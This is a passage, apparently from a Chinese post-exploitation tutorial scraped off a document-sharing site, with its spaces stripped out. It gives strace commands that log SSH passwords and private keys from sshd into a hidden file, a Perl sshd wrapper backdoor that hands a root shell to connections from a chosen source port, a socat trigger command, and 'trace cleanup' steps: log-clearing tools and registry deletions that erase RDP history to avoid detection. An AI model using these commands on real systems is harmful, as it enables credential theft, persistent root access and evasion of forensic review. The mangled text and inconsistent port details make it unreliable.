grep-vgrep|awk{'print$2'}`-t-etrace=read,write-s322>/tmp/.sshd.log&)linuxstrace记录密码3.记录私钥(鸡肋)(strace-f-F-p`psaux|grep"sshd-D"|grep-vgrep|awk{'print$2'}`-t-etrace=read,write-s40962>/tmp/.sshd.log&)2.当有用户登录时.sshd.log文件会有记录,使用下面命令查看grep-E'read\(6,".+\\0\\0\\0\\.+"'/tmp/.sshd.loggrep'PRIVATEKEY'/tmp/.sshd.loglinuxstrace记录密码操作方式--目标机器cd/usr/sbin/mvsshd../bin/echo‘#!/usr/bin/perl’>sshdecho'exec"/bin/sh"if(getpeername(STDIN)=~/^..4A/);'>>sshd//4A是13377的小端模式echo'exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV,'>>sshdchmodu+xsshdservicesshdrestart

#ubuntu18.04重启sshd服务/etc/init.d/sshdrestart

#ubuntu

16.04

以下重启sshd服务后门代码解释:第一行,如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big网络字节序中的16进制字符串为\x00\x00zf,正好匹配上perl正则..zf,上述代码中的zf是Big网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个rootshell(因为sshd是以root权限运行的)给远程socket(一般只有攻击者指定连接的源端口才能触发这一行的执行)第二行,启动sshd(/usr/bin/sshd是真正的sshd)服务,凡是传递给/usr/sbin/sshd(后门)的参数都传递给真正的sshd(这一行保证了普通用户也可以正常使用ssh服务,登录并不会有什么异常现象)linuxssh正向后门操作方式--攻击机器sudosocatSTDIOTCP4:28:22,SOURCEPORT=13377linuxssh正向后门权限提升信息收集横向渗透后门持久化痕迹清理痕迹清理痕迹清理,是清理自己在目标机器上留下的所有操作痕迹。其主要目的是:避免溯源避免被发现隐藏攻击方法

有一点需要注意的是,如果在我们获取到服务器权限之前,并且为做一些避免设备记录日子的操作的话,日志有可能会被同步发送到日志审计系统上,所以还是可以基于日审查到蛛丝马迹的Windows本地审核策略开启了相应策略的话就会在日志上有体现,默认是全部关闭的,默认情况下在安全日志中只会记录登陆成功的信息。Windows日志Windows日志包含9个元素:日期/时间、事件类型、用户、计算机、事件ID、来源、类别、描述、数据Windows操作系统在运行生命周期,以特定数据结构方式存储、记录OS大量运行的日志信息,主要包括:Windows事件日志(EventLog)、WindowsWebServerIIS日志、WindowsFTP日志、ExchangeServer邮件服务、MSSQLServer数据库日志等.系统内置3个核心日志文件(System、Security、Application);默认大小均为20480KB(20MB),数据超过20MB,默认系统将优先覆盖过期日志记录。应用程序、服务日志默认最大1024KB,超过最大限制也优先覆盖过期的日志记录Windows日志事件IDWindows日志记录事件4624(旧Windows事件ID528)时,事件日志中也会列出登录类型。下表介绍了每种登录类型。Windows日志可以利用ID来快速定位筛选Windows日志日志记录流程Windows日志System系统日志:系统进程、设备、磁盘活动等。记录了设备驱动无法正常启动或停止,硬件失败,重复IP地址,系统进程的启动,停止及暂停等行为。默认位置:%SystemRoot%\System32\Winevt\Logs\System.evtxSecurity安全日志:包含安全性相关的事件。e.g.用户权限变更,登录及注销,文件/文件夹访问等信息。默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtxApplication应用程序日志:包含操作系统安装的应用程序软件相关的事件。事件包括了错误、警告及任何应用程序需要报告的信息,应用程序开发人员可以决定记录哪些信息。默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtxWindows清理日志清除所有日志清理日志,会产生一条日志清理记录Windows清理日志工具清除:/hlldz/Phant0m/QAX-A-Team/EventCleaner/QAX-A-Team/EventLogMasterWindows痕迹清理清理3389痕迹当我们使用一台主机连接另一台主机的3389端口,客户端主机的%userprofile%\documents\文件夹下会生成一个default.rdp文件,该文件保存了远程连接的相关配置信息清理3389痕迹注册表中也有相关记录regdelete"HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Default"/va/fregdelete"HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Servers"/fregadd"HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\S

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论